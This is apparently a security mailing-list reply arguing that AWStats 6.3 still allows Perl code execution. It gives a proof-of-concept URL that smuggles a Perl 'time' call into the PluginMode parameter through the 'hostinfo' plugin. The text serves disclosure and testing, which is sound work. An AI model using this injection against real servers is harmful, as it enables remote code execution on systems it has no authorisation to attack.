I'm going to have to disagree. Execution of Perl functions
is still possible in 6.3. You just have to jimmy it a little and
try/guess different plugins that may be installed. I got a hit
with 'hostinfo'. Try this on your server:

http://server/cgi-bin/awstats.pl?config=someconfig&PluginMode=hostinfo+t
ime

Unix time shows up just below 'Whois command failed' error message.
That's game over in my book.
